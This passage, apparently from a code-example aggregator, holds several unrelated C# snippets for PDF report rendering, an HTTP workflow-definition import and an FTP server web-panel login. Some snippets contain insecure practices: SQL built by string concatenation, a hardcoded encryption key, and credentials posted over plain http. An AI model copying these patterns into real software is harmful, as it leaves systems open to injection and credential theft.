        "  <PageHeight>11.69in</PageHeight>" +
        "  <MarginTop>0.7874in</MarginTop>" +
        "  <MarginLeft>0.98425in</MarginLeft>" +
        "  <MarginRight>0.98425in</MarginRight>" +
        "  <MarginBottom>0.7874in</MarginBottom>" +
        "</DeviceInfo>";

        mlDATATABLE = (DataTable)Session["FormEditReceiptData"];
        mlTANGGAL = FormatDateyyyyMMdd(Convert.ToDateTime(mlDATATABLE.Rows[0]["InvPreparedForDate"]));
        mlRECEIVEDCODE = mlDATATABLE.Rows[0]["InvCodeMess"].ToString();
        mlRECEIVEDBY = mlDATATABLE.Rows[0]["InvMessName"].ToString();

        if (mlDATATABLE.Rows[0]["InvStatus"].ToString() == "PROCEEDS" && mlDATATABLE.Rows[0]["InvReceiptFlag"].ToString() == "R")
        {
            mlSQL2 = "SELECT * FROM INV_DELIVERY " +
                     "WHERE Disabled = '0' AND InvReceiptFlag = 'R' AND InvReceiptCode = '" + mlDATATABLE.Rows[0]["InvReceiptCode"].ToString() + "'" +
                     " AND InvPreparedForDate = '" + mlTANGGAL + "' AND InvCodeMess = '" + mlRECEIVEDCODE + "' AND InvMessName = '" + mlRECEIVEDBY + "' " +
                     "ORDER BY InvPreparedForDate Desc";
            mlREADER2 = mlOBJGS.DbRecordset(mlSQL2, "PB", mlCOMPANYID);
            mlDATATABLE1 = InsertReaderToDatatable(mlDATATABLE1, mlDATAROW, mlREADER2);
        }
        //else
        //{
        //    mlDATATABLE1 = mlDATATABLE.Copy();
        //}

        ReportViewer1.ProcessingMode = Microsoft.Reporting.WebForms.ProcessingMode.Local;
        ReportViewer1.LocalReport.ReportPath = Server.MapPath("~/pj_delinv/InvReceiptH.rdlc");

        Microsoft.Reporting.WebForms.ReportParameter mlRECEIPTCODE = new Microsoft.Reporting.WebForms.ReportParameter("ReceiptCode", mlDATATABLE.Rows[0]["InvReceiptCode"].ToString());
        Microsoft.Reporting.WebForms.ReportParameter mlCODEMESS = new Microsoft.Reporting.WebForms.ReportParameter("CodeMess", mlDATATABLE.Rows[0]["InvCodeMess"].ToString());
        Microsoft.Reporting.WebForms.ReportParameter mlCOMPNAME = new Microsoft.Reporting.WebForms.ReportParameter("CompanyName", mlCOMPANYNAME);
        Microsoft.Reporting.WebForms.ReportParameter mlCOMPADDR = new Microsoft.Reporting.WebForms.ReportParameter("CompanyAddress", mlCOMPANYADDRESS);
        Microsoft.Reporting.WebForms.ReportParameter mlTITLE = new Microsoft.Reporting.WebForms.ReportParameter("Title", "INVOICE / RECEIPT");

        Microsoft.Reporting.WebForms.ReportDataSource mlDATASOURCE = new Microsoft.Reporting.WebForms.ReportDataSource();
        Microsoft.Reporting.WebForms.LocalReport mlREPORTH = new Microsoft.Reporting.WebForms.LocalReport();

        mlDATASOURCE.Name = "INV_RECEIPT_DATAH";
        mlDATASOURCE.Value = mlDATATABLE;
        mlREPORTH.ReportEmbeddedResource = "~/pj_delinv/InvReceiptH.rdlc";
        mlREPORTH.DataSources.Add(mlDATASOURCE);

        ReportViewer1.LocalReport.SubreportProcessing += new SubreportProcessingEventHandler(SetSubDataSource);
        ReportViewer1.LocalReport.ReportEmbeddedResource = mlREPORTH.ReportEmbeddedResource;
        ReportViewer1.LocalReport.DataSources.Clear();
        ReportViewer1.LocalReport.DataSources.Add(mlDATASOURCE);
        ReportViewer1.LocalReport.SetParameters(new ReportParameter[] { mlRECEIPTCODE, mlCODEMESS, mlCOMPNAME, mlCOMPADDR, mlTITLE });

        //byte[] bytes = ReportViewer1.LocalReport.Render("PDF", null, out mimeType, out encoding, out extension, out streamIds, out warnings);
        byte[] bytes = ReportViewer1.LocalReport.Render("PDF", deviceInfo, out mimeType, out encoding, out extension, out streamIds, out warnings);

        string path = Server.MapPath("~/pj_delinv/Print_Files");

        // Open PDF File in Web Browser
        filename = "InvReceipt";
        extension = "pdf";

        FileStream file = new FileStream(path + "/" + filename + "." + extension, FileMode.OpenOrCreate, FileAccess.ReadWrite);
        file.Write(bytes, 0, bytes.Length);
        file.Dispose();

        WebClient client = new WebClient();
        Byte[] buffer = client.DownloadData(path + "/" + filename + "." + extension);
        if (buffer != null)
        {
            Response.ContentType = "application/pdf";
            Response.AddHeader("content-length", buffer.Length.ToString());
            Response.BinaryWrite(buffer);
        }
    }
Example #31
0
 NextCall onDirectlyViaHttpAnswer(WorkflowMethod invoker)
 {
     var diag = invoker as WMContentForm;
     string url = diag.Result.Get<ShortStringPropertyValue>("url").Value;
     Session.SetSetting("MergeDef.Url", url, PersistenceScope.Application);
     try {
         var uri = new Uri(url, UriKind.Absolute);
     } catch (Exception err) {
         var n = new WMQuestion(DialogueIcon.Warning, UIButtons.Ok, "Invalid URL", err.Message);
         return new NextCall(n, directlyViaHttp);
     }
     try {
         string username = diag.Result.Get<ShortStringPropertyValue>("username").Value;
         string password = diag.Result.Get<ShortStringPropertyValue>("password").Value;
         if (!url.EndsWith("/")) url = url + "/";
         url = url.ToLower();
         if (url.EndsWith("/edit/")) url = url.Substring(0, url.Length - "edit/".Length);
         Session.SetSetting("MergeDef.Url", url, PersistenceScope.Application);
         var t = Utils.Encrypt(Guid.NewGuid() + username + ":::" + password, "ed3e1a0093398710653ed1e428");
         url = url + "?WAF_Action=GetDefForImport&T=" + HttpUtility.UrlEncode(t);
         WebClient wc = new WebClient();
         var s = Utils.DeSerialize<string>(wc.DownloadData(url));
         if (s.StartsWith("ERROR: ")) {
             throw new Exception(s.Substring(7));
         } else {
             var tempPath = WAFRuntime.Engine.FileTempPath + Guid.NewGuid();
             WAFRuntime.FileSystem.FileWriteAllText(tempPath, s);
             return startMerge(tempPath);
         }
     } catch (Exception error) {
         downloadError = error.Message;
         return directlyViaHttp(null);
     }
 }
        private HttpStatusCode GetScanFolders(string username, string password)
        {
            try
            {
                using (var client = new WebClient())
                {
                    byte[] response;
                    var    url = string.Format("http://{0}/paths.html", Connection.Address);
                    if (username == string.Empty)
                    {
                        response = client.DownloadData(url);
                    }
                    else
                    {
                        byte[] body;
                        using (var ms = new MemoryStream())
                        {
                            var sw = new StreamWriter(ms);
                            sw.Write("j_username={0}&j_password={1}&Action=Login", username, password);
                            sw.Flush();
                            body = ms.ToArray();
                        }
                        client.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
                        response = client.UploadData(url, body);
                    }
                    var responseString = Encoding.UTF8.GetString(response);
                    if (responseString.Contains("j_password") || responseString.Contains("Username / Password incorrect.  Please try again"))
                    {
                        return(HttpStatusCode.Unauthorized);
                    }

                    var r = new Regex(@"<tr.*?pathid:'(?<PathId>\d+)'.*?depth"">(?<ScanDepth>\d+).*?path"">(?<Path>.*?)</td>", RegexOptions.Singleline);
                    ScanFolders = new Dictionary <int, FsdScanPath>();
                    foreach (Match m in r.Matches(responseString))
                    {
                        try
                        {
                            var path = "/" + m.Groups["Path"].Value.Replace(":\\", "\\").Replace("\\", "/");
                            if (ScanFolders.Any(kvp => kvp.Value.Path == path))
                            {
                                continue;
                            }
                            var pathid = Int32.Parse(m.Groups["PathId"].Value);
                            var depth  = Int32.Parse(m.Groups["ScanDepth"].Value);
                            var drive  = m.Groups["Path"].Value.SubstringBefore(":");
                            ScanFolders.Add(pathid, new FsdScanPath
                            {
                                PathId    = pathid,
                                Path      = path,
                                ScanDepth = depth,
                                Drive     = drive
                            });
                        }
                        catch
                        {
                        }
                    }

                    switch (ServerType)
                    {
                    case FtpServerType.F3:
                        const string sessionCookie = "session=";
                        var          setCookie     = client.ResponseHeaders[HttpResponseHeader.SetCookie].Split('&');
                        var          session       = setCookie.FirstOrDefault(c => c.StartsWith(sessionCookie));
                        if (session != null)
                        {
                            HttpSessionId = session.Substring(sessionCookie.Length);
                        }
                        break;

                    case FtpServerType.FSD:
                        var sessionidRegex = new Regex(@"\{sessionid:'(.*?)'\}");
                        var m = sessionidRegex.Match(responseString);
                        if (m.Success)
                        {
                            HttpSessionId = m.Groups[1].Value;
                        }
                        break;

                    default:
                        throw new NotSupportedException("Invalid server type: " + ServerType);
                    }
                    SetStatus(responseString);
                    return(HttpStatusCode.OK);
                }
            }
            catch
            {
                return(HttpStatusCode.RequestTimeout);
            }
        }
Example #33
0
        public MemoryStream GeneratePdfTemplate(RO_GarmentViewModel viewModel)
        {
            //set pdf stream
            MemoryStream stream   = new MemoryStream();
            Document     document = new Document(PageSize.A4, 10, 10, 10, 10);
            PdfWriter    writer   = PdfWriter.GetInstance(document, stream);

            writer.CloseStream = false;
            document.Open();
            PdfContentByte cb = writer.DirectContent;
            //set content configuration
            BaseFont bf              = BaseFont.CreateFont(BaseFont.HELVETICA, BaseFont.CP1250, BaseFont.NOT_EMBEDDED);
            BaseFont bf_bold         = BaseFont.CreateFont(BaseFont.HELVETICA_BOLD, BaseFont.CP1250, BaseFont.NOT_EMBEDDED);
            Font     normal_font     = FontFactory.GetFont(BaseFont.HELVETICA, BaseFont.CP1250, BaseFont.NOT_EMBEDDED, 7);
            Font     bold_font       = FontFactory.GetFont(BaseFont.HELVETICA_BOLD, BaseFont.CP1250, BaseFont.NOT_EMBEDDED, 7);
            Font     bold_font_8     = FontFactory.GetFont(BaseFont.HELVETICA_BOLD, BaseFont.CP1250, BaseFont.NOT_EMBEDDED, 8);
            Font     font_9          = FontFactory.GetFont(BaseFont.HELVETICA, BaseFont.CP1250, BaseFont.NOT_EMBEDDED, 9);
            DateTime now             = DateTime.Now;
            float    margin          = 10;
            float    printedOnHeight = 10;
            float    startY          = 840 - margin;

            #region Header
            cb.BeginText();
            cb.SetFontAndSize(bf, 10);
            cb.ShowTextAligned(PdfContentByte.ALIGN_LEFT, "PT. EFRATA RETAILINDO", 10, 820, 0);
            cb.SetFontAndSize(bf_bold, 12);
            cb.ShowTextAligned(PdfContentByte.ALIGN_LEFT, "RO PENJUALAN", 10, 805, 0);
            cb.EndText();
            #endregion

            #region Top
            PdfPTable table_top  = new PdfPTable(9);
            float[]   top_widths = new float[] { 1f, 0.1f, 2f, 1f, 0.1f, 2f, 1f, 0.1f, 2f };

            table_top.TotalWidth = 500f;
            table_top.SetWidths(top_widths);

            PdfPCell cell_top = new PdfPCell()
            {
                Border = Rectangle.NO_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                PaddingRight        = 1,
                PaddingBottom       = 2,
                PaddingTop          = 2
            };

            PdfPCell cell_colon = new PdfPCell()
            {
                Border = Rectangle.NO_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE
            };

            PdfPCell cell_top_keterangan = new PdfPCell()
            {
                Border = Rectangle.NO_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                PaddingRight        = 1,
                PaddingBottom       = 2,
                PaddingTop          = 2,
                Colspan             = 7
            };

            cell_colon.Phrase = new Phrase(":", normal_font);
            cell_top.Phrase   = new Phrase("NO RO", normal_font);
            table_top.AddCell(cell_top);
            table_top.AddCell(cell_colon);
            cell_top.Phrase = new Phrase($"{viewModel.CostCalculationGarment.RO}", normal_font);
            table_top.AddCell(cell_top);
            cell_top.Phrase = new Phrase("SECTION", normal_font);
            table_top.AddCell(cell_top);
            table_top.AddCell(cell_colon);
            cell_top.Phrase = new Phrase($"{viewModel.CostCalculationGarment.Section}", normal_font);
            table_top.AddCell(cell_top);
            cell_top.Phrase = new Phrase("DATE", normal_font);
            table_top.AddCell(cell_top);
            table_top.AddCell(cell_colon);
            cell_top.Phrase = new Phrase($"{viewModel.CostCalculationGarment.ConfirmDate.ToString("dd MMMM yyyy")}", normal_font);
            table_top.AddCell(cell_top);

            cell_top.Phrase = new Phrase("LINE", normal_font);
            table_top.AddCell(cell_top);
            table_top.AddCell(cell_colon);
            cell_top.Phrase = new Phrase($"{viewModel.CostCalculationGarment.Line.Name}", normal_font);
            table_top.AddCell(cell_top);
            cell_top.Phrase = new Phrase("BUYER", normal_font);
            table_top.AddCell(cell_top);
            table_top.AddCell(cell_colon);
            cell_top.Phrase = new Phrase($"{viewModel.CostCalculationGarment.Buyer.Name}", normal_font);
            table_top.AddCell(cell_top);
            cell_top.Phrase = new Phrase("DELIVERY DATE", normal_font);
            table_top.AddCell(cell_top);
            table_top.AddCell(cell_colon);
            cell_top.Phrase = new Phrase($"{viewModel.CostCalculationGarment.DeliveryDate.ToString("dd MMMM yyyy")}", normal_font);
            table_top.AddCell(cell_top);

            cell_top.Phrase = new Phrase("DESC", normal_font);
            table_top.AddCell(cell_top);
            table_top.AddCell(cell_colon);
            cell_top.Phrase = new Phrase($"{viewModel.CostCalculationGarment.Description}", normal_font);
            table_top.AddCell(cell_top);
            cell_top.Phrase = new Phrase("QUANTITY", normal_font);
            table_top.AddCell(cell_top);
            table_top.AddCell(cell_colon);
            cell_top.Phrase = new Phrase($"{viewModel.Total.ToString()}", normal_font);
            table_top.AddCell(cell_top);
            cell_top.Phrase = new Phrase("SIZE RANGE", normal_font);
            table_top.AddCell(cell_top);
            table_top.AddCell(cell_colon);
            cell_top.Phrase = new Phrase($"{viewModel.CostCalculationGarment.SizeRange.Name}", normal_font);
            table_top.AddCell(cell_top);

            byte[] imageByte;
            float  imageHeight;
            try
            {
                imageByte = Convert.FromBase64String(Base64.GetBase64File(viewModel.CostCalculationGarment.ImageFile));
                Image image = Image.GetInstance(imgb: imageByte);

                if (image.Width > 60)
                {
                    float percentage = 0.0f;
                    percentage = 60 / image.Width;
                    image.ScalePercent(percentage * 100);
                }

                float imageY = 800 - image.ScaledHeight;
                imageHeight = image.ScaledHeight;
                image.SetAbsolutePosition(520, imageY);
                cb.AddImage(image, inlineImage: true);
            }
            catch (Exception)
            {
                imageHeight = 0;
            }


            float row1Y = 800;

            table_top.WriteSelectedRows(0, -1, 10, row1Y, cb);
            #endregion

            #region Table Fabric
            //Fabric title
            PdfPTable table_fabric_top = new PdfPTable(1);
            table_fabric_top.TotalWidth = 500f;

            float[] fabric_widths_top = new float[] { 5f };
            table_fabric_top.SetWidths(fabric_widths_top);

            PdfPCell cell_top_fabric = new PdfPCell()
            {
                Border = Rectangle.NO_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                PaddingRight        = 1,
                PaddingBottom       = 2,
                PaddingTop          = 2
            };

            cell_top_fabric.Phrase = new Phrase("FABRIC", bold_font);
            table_fabric_top.AddCell(cell_top_fabric);

            float row1Height        = imageHeight > table_top.TotalHeight ? imageHeight : table_top.TotalHeight;
            float rowYTittleFab     = row1Y - row1Height - 10;
            float allowedRow2Height = rowYTittleFab - printedOnHeight - margin;
            table_fabric_top.WriteSelectedRows(0, -1, 10, rowYTittleFab, cb);

            //Main fabric table
            PdfPTable table_fabric = new PdfPTable(5);
            table_fabric.TotalWidth = 500f;

            float[] fabric_widths = new float[] { 5f, 5f, 5f, 5f, 5f };
            table_fabric.SetWidths(fabric_widths);

            PdfPCell cell_fabric_center = new PdfPCell()
            {
                Border = Rectangle.TOP_BORDER | Rectangle.LEFT_BORDER | Rectangle.BOTTOM_BORDER | Rectangle.RIGHT_BORDER,
                HorizontalAlignment = Element.ALIGN_CENTER,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                Padding             = 2
            };

            PdfPCell cell_fabric_left = new PdfPCell()
            {
                Border = Rectangle.TOP_BORDER | Rectangle.LEFT_BORDER | Rectangle.BOTTOM_BORDER | Rectangle.RIGHT_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                Padding             = 2
            };

            float rowYFab = rowYTittleFab - table_fabric_top.TotalHeight - 5;
            float allowedRow2HeightFab = rowYFab - printedOnHeight - margin;

            cell_fabric_center.Phrase = new Phrase("FABRIC", bold_font);
            table_fabric.AddCell(cell_fabric_center);

            cell_fabric_center.Phrase = new Phrase("NAME", bold_font);
            table_fabric.AddCell(cell_fabric_center);

            cell_fabric_center.Phrase = new Phrase("DESCRIPTION", bold_font);
            table_fabric.AddCell(cell_fabric_center);

            cell_fabric_center.Phrase = new Phrase("QUANTITY", bold_font);
            table_fabric.AddCell(cell_fabric_center);

            cell_fabric_center.Phrase = new Phrase("REMARK", bold_font);
            table_fabric.AddCell(cell_fabric_center);

            foreach (var materialModel in viewModel.CostCalculationGarment.CostCalculationGarment_Materials)
            {
                if (materialModel.Category.Name == "FAB")
                {
                    cell_fabric_left.Phrase = new Phrase(materialModel.Category.SubCategory != null ? materialModel.Category.SubCategory : "", normal_font);
                    table_fabric.AddCell(cell_fabric_left);

                    cell_fabric_left.Phrase = new Phrase(materialModel.Material.Name != null ? materialModel.Material.Name : "", normal_font);
                    table_fabric.AddCell(cell_fabric_left);

                    cell_fabric_left.Phrase = new Phrase(materialModel.Description != null ? materialModel.Description : "", normal_font);
                    table_fabric.AddCell(cell_fabric_left);

                    cell_fabric_left.Phrase = new Phrase(materialModel.Quantity.ToString() != null ? String.Format("{0} " + materialModel.UOMQuantity.Name, materialModel.Quantity.ToString()) : "0", normal_font);
                    table_fabric.AddCell(cell_fabric_left);

                    cell_fabric_left.Phrase = new Phrase(materialModel.Information != null ? materialModel.Information : "", normal_font);
                    table_fabric.AddCell(cell_fabric_left);
                }
            }
            table_fabric.WriteSelectedRows(0, -1, 10, rowYFab, cb);
            #endregion

            #region Table Accessories
            //Accessories Title
            PdfPTable table_acc_top = new PdfPTable(1);
            table_acc_top.TotalWidth = 500f;

            float[] acc_width_top = new float[] { 5f };
            table_acc_top.SetWidths(acc_width_top);

            PdfPCell cell_top_acc = new PdfPCell()
            {
                Border = Rectangle.NO_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                PaddingRight        = 1,
                PaddingBottom       = 2,
                PaddingTop          = 2
            };

            cell_top_acc.Phrase = new Phrase("ACCESSORIES", bold_font);
            table_acc_top.AddCell(cell_top_acc);

            float rowYTittleAcc           = rowYFab - table_fabric.TotalHeight - 10;
            float allowedRow2HeightTopAcc = rowYTittleFab - printedOnHeight - margin;
            table_acc_top.WriteSelectedRows(0, -1, 10, rowYTittleAcc, cb);

            //Main Accessories Table
            PdfPTable table_accessories = new PdfPTable(5);
            table_accessories.TotalWidth = 500f;

            float[] accessories_widths = new float[] { 5f, 5f, 5f, 5f, 5f };
            table_accessories.SetWidths(accessories_widths);

            PdfPCell cell_acc_center = new PdfPCell()
            {
                Border = Rectangle.TOP_BORDER | Rectangle.LEFT_BORDER | Rectangle.BOTTOM_BORDER | Rectangle.RIGHT_BORDER,
                HorizontalAlignment = Element.ALIGN_CENTER,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                Padding             = 2
            };

            PdfPCell cell_acc_left = new PdfPCell()
            {
                Border = Rectangle.TOP_BORDER | Rectangle.LEFT_BORDER | Rectangle.BOTTOM_BORDER | Rectangle.RIGHT_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                Padding             = 2
            };

            float rowYAcc = rowYTittleAcc - table_fabric_top.TotalHeight - 5;
            float allowedRow2HeightAcc = rowYAcc - printedOnHeight - margin;

            cell_acc_center.Phrase = new Phrase("ACCESSORIES", bold_font);
            table_accessories.AddCell(cell_acc_center);

            cell_acc_center.Phrase = new Phrase("NAME", bold_font);
            table_accessories.AddCell(cell_acc_center);

            cell_acc_center.Phrase = new Phrase("DESCRIPTION", bold_font);
            table_accessories.AddCell(cell_acc_center);

            cell_acc_center.Phrase = new Phrase("QUANTITY", bold_font);
            table_accessories.AddCell(cell_acc_center);

            cell_acc_center.Phrase = new Phrase("REMARK", bold_font);
            table_accessories.AddCell(cell_acc_center);

            foreach (var materialModel in viewModel.CostCalculationGarment.CostCalculationGarment_Materials)
            {
                if (materialModel.Category.Name == "ACC")
                {
                    cell_acc_left.Phrase = new Phrase(materialModel.Category.SubCategory != null ? materialModel.Category.SubCategory : "", normal_font);
                    table_accessories.AddCell(cell_acc_left);

                    cell_acc_left.Phrase = new Phrase(materialModel.Material.Name != null ? materialModel.Material.Name : "", normal_font);
                    table_accessories.AddCell(cell_acc_left);

                    cell_acc_left.Phrase = new Phrase(materialModel.Description != null ? materialModel.Description : "", normal_font);
                    table_accessories.AddCell(cell_acc_left);

                    cell_acc_left.Phrase = new Phrase(materialModel.Quantity != null ? String.Format("{0} " + materialModel.UOMQuantity.Name, materialModel.Quantity.ToString()) : "0", normal_font);
                    table_accessories.AddCell(cell_acc_left);

                    cell_acc_left.Phrase = new Phrase(materialModel.Information != null ? materialModel.Information : "", normal_font);
                    table_accessories.AddCell(cell_acc_left);
                }
            }
            table_accessories.WriteSelectedRows(0, -1, 10, rowYAcc, cb);
            #endregion

            #region Table Ongkos
            //Ongkos Title
            PdfPTable table_ong_top = new PdfPTable(1);
            table_ong_top.TotalWidth = 500f;

            float[] ong_width_top = new float[] { 5f };
            table_ong_top.SetWidths(ong_width_top);

            PdfPCell cell_top_ong = new PdfPCell()
            {
                Border = Rectangle.NO_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                PaddingRight        = 1,
                PaddingBottom       = 2,
                PaddingTop          = 2
            };

            cell_top_ong.Phrase = new Phrase("ONGKOS", bold_font);
            table_ong_top.AddCell(cell_top_ong);

            float rowYTittleOng           = rowYAcc - table_accessories.TotalHeight - 10;
            float allowedRow2HeightTopOng = rowYTittleOng - printedOnHeight - margin;


            //Main Table Ongkos
            PdfPTable table_budget = new PdfPTable(5);
            table_budget.TotalWidth = 500f;

            float[] budget_widths = new float[] { 5f, 5f, 5f, 5f, 5f };
            table_budget.SetWidths(budget_widths);
            var ongIndex = 0;

            PdfPCell cell_budget_center = new PdfPCell()
            {
                Border = Rectangle.TOP_BORDER | Rectangle.LEFT_BORDER | Rectangle.BOTTOM_BORDER | Rectangle.RIGHT_BORDER,
                HorizontalAlignment = Element.ALIGN_CENTER,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                Padding             = 2
            };

            PdfPCell cell_budget_left = new PdfPCell()
            {
                Border = Rectangle.TOP_BORDER | Rectangle.LEFT_BORDER | Rectangle.BOTTOM_BORDER | Rectangle.RIGHT_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                Padding             = 2
            };

            float rowYBudget = rowYTittleOng - table_ong_top.TotalHeight - 5;
            float allowedRow2HeightBudget = rowYBudget - printedOnHeight - margin;

            cell_budget_center.Phrase = new Phrase("ONGKOS", bold_font);
            table_budget.AddCell(cell_budget_center);

            cell_budget_center.Phrase = new Phrase("NAME", bold_font);
            table_budget.AddCell(cell_budget_center);

            cell_budget_center.Phrase = new Phrase("DESCRIPTION", bold_font);
            table_budget.AddCell(cell_budget_center);

            cell_budget_center.Phrase = new Phrase("QUANTITY", bold_font);
            table_budget.AddCell(cell_budget_center);

            cell_budget_center.Phrase = new Phrase("REMARK", bold_font);
            table_budget.AddCell(cell_budget_center);

            foreach (var materialModel in viewModel.CostCalculationGarment.CostCalculationGarment_Materials)
            {
                if (materialModel.Category.Name == "ONG")
                {
                    cell_budget_left.Phrase = new Phrase(materialModel.Category.SubCategory != null ? materialModel.Category.SubCategory : "", normal_font);
                    table_budget.AddCell(cell_budget_left);

                    cell_budget_left.Phrase = new Phrase(materialModel.Material.Name != null ? materialModel.Material.Name : "", normal_font);
                    table_budget.AddCell(cell_budget_left);

                    cell_budget_left.Phrase = new Phrase(materialModel.Description != null ? materialModel.Description : "", normal_font);
                    table_budget.AddCell(cell_budget_left);

                    cell_budget_left.Phrase = new Phrase(materialModel.Quantity != null ? String.Format("{0} " + materialModel.UOMQuantity.Name, materialModel.Quantity.ToString()) : "0", normal_font);
                    table_budget.AddCell(cell_budget_left);

                    cell_budget_left.Phrase = new Phrase(materialModel.Information != null ? materialModel.Information : "", normal_font);
                    table_budget.AddCell(cell_budget_left);

                    ongIndex++;
                }
            }

            if (ongIndex != 0)
            {
                table_budget.WriteSelectedRows(0, -1, 10, rowYBudget, cb);
                table_ong_top.WriteSelectedRows(0, -1, 10, rowYTittleOng, cb);
            }
            #endregion

            #region Table Size Breakdown
            //Title
            PdfPTable table_breakdown_top = new PdfPTable(1);
            table_breakdown_top.TotalWidth = 570f;

            float[] breakdown_width_top = new float[] { 5f };
            table_breakdown_top.SetWidths(breakdown_width_top);

            PdfPCell cell_top_breakdown = new PdfPCell()
            {
                Border = Rectangle.NO_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                PaddingRight        = 1,
                PaddingBottom       = 2,
                PaddingTop          = 2
            };

            cell_top_breakdown.Phrase = new Phrase("SIZE BREAKDOWN", bold_font);
            table_breakdown_top.AddCell(cell_top_breakdown);

            float rowYTittleBreakDown        = rowYBudget - table_budget.TotalHeight - 10;
            float allowedRow2HeightBreakdown = rowYTittleBreakDown - printedOnHeight - margin;
            table_breakdown_top.WriteSelectedRows(0, -1, 10, rowYTittleBreakDown, cb);

            //Main Table Size Breakdown
            PdfPTable table_breakDown = new PdfPTable(2);
            table_breakDown.TotalWidth = 570f;

            float[] breakDown_widths = new float[] { 5f, 10f };
            table_breakDown.SetWidths(breakDown_widths);

            PdfPCell cell_breakDown_center = new PdfPCell()
            {
                Border = Rectangle.TOP_BORDER | Rectangle.LEFT_BORDER | Rectangle.BOTTOM_BORDER | Rectangle.RIGHT_BORDER,
                HorizontalAlignment = Element.ALIGN_CENTER,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                Padding             = 2
            };

            PdfPCell cell_breakDown_left = new PdfPCell()
            {
                Border = Rectangle.TOP_BORDER | Rectangle.LEFT_BORDER | Rectangle.BOTTOM_BORDER | Rectangle.RIGHT_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                Padding             = 2
            };

            PdfPCell cell_breakDown_total = new PdfPCell()
            {
                Border = Rectangle.TOP_BORDER | Rectangle.LEFT_BORDER | Rectangle.BOTTOM_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                Padding             = 2
            };

            PdfPCell cell_breakDown_total_2 = new PdfPCell()
            {
                Border = Rectangle.TOP_BORDER | Rectangle.BOTTOM_BORDER | Rectangle.RIGHT_BORDER,
                HorizontalAlignment = Element.ALIGN_LEFT,
                VerticalAlignment   = Element.ALIGN_MIDDLE,
                Padding             = 2
            };

            float rowYbreakDown = rowYTittleBreakDown - table_breakdown_top.TotalHeight - 5;
            float allowedRow2HeightBreakDown   = rowYbreakDown - printedOnHeight - margin;
            var   remainingRowToHeightBrekdown = rowYbreakDown - 5 - printedOnHeight - margin;

            cell_breakDown_center.Phrase = new Phrase("WARNA", bold_font);
            table_breakDown.AddCell(cell_breakDown_center);

            cell_breakDown_center.Phrase = new Phrase("SIZE RANGE", bold_font);
            table_breakDown.AddCell(cell_breakDown_center);

            foreach (var productRetail in viewModel.RO_Garment_SizeBreakdowns)
            {
                if (productRetail.Total != 0)
                {
                    cell_breakDown_left.Phrase = new Phrase(productRetail.Color.name != null ? productRetail.Color.name : "", normal_font);
                    table_breakDown.AddCell(cell_breakDown_left);

                    PdfPTable table_breakDown_child = new PdfPTable(3);
                    table_breakDown_child.TotalWidth = 300f;

                    float[] breakDown_child_widths = new float[] { 5f, 5f, 5f };
                    table_breakDown_child.SetWidths(breakDown_child_widths);

                    PdfPCell cell_breakDown_child_center = new PdfPCell()
                    {
                        Border = Rectangle.TOP_BORDER | Rectangle.LEFT_BORDER | Rectangle.BOTTOM_BORDER | Rectangle.RIGHT_BORDER,
                        HorizontalAlignment = Element.ALIGN_CENTER,
                        VerticalAlignment   = Element.ALIGN_MIDDLE,
                        Padding             = 2
                    };

                    PdfPCell cell_breakDown_child_left = new PdfPCell()
                    {
                        Border = Rectangle.TOP_BORDER | Rectangle.LEFT_BORDER | Rectangle.BOTTOM_BORDER | Rectangle.RIGHT_BORDER,
                        HorizontalAlignment = Element.ALIGN_LEFT,
                        VerticalAlignment   = Element.ALIGN_MIDDLE,
                        Padding             = 2
                    };

                    cell_breakDown_child_center.Phrase = new Phrase("KETERANGAN", bold_font);
                    table_breakDown_child.AddCell(cell_breakDown_child_center);

                    cell_breakDown_child_center.Phrase = new Phrase("SIZE", bold_font);
                    table_breakDown_child.AddCell(cell_breakDown_child_center);

                    cell_breakDown_child_center.Phrase = new Phrase("QUANTITY", bold_font);
                    table_breakDown_child.AddCell(cell_breakDown_child_center);

                    foreach (var size in productRetail.RO_Garment_SizeBreakdown_Details)
                    {
                        cell_breakDown_child_left.Phrase = new Phrase(size.Information != null ? size.Information : "", normal_font);
                        table_breakDown_child.AddCell(cell_breakDown_child_left);

                        cell_breakDown_child_left.Phrase = new Phrase(size.Size.Name != null ? size.Size.Name : "", normal_font);
                        table_breakDown_child.AddCell(cell_breakDown_child_left);

                        cell_breakDown_child_left.Phrase = new Phrase(size.Quantity.ToString() != null ? size.Quantity.ToString() : "0", normal_font);
                        table_breakDown_child.AddCell(cell_breakDown_child_left);
                    }

                    cell_breakDown_child_left.Phrase = new Phrase(" ", bold_font);
                    table_breakDown_child.AddCell(cell_breakDown_child_left);

                    cell_breakDown_child_left.Phrase = new Phrase("TOTAL", bold_font);
                    table_breakDown_child.AddCell(cell_breakDown_child_left);

                    cell_breakDown_child_left.Phrase = new Phrase(productRetail.Total.ToString() != null ? productRetail.Total.ToString() : "0", normal_font);
                    table_breakDown_child.AddCell(cell_breakDown_child_left);

                    table_breakDown_child.WriteSelectedRows(0, -1, 10, 0, cb);

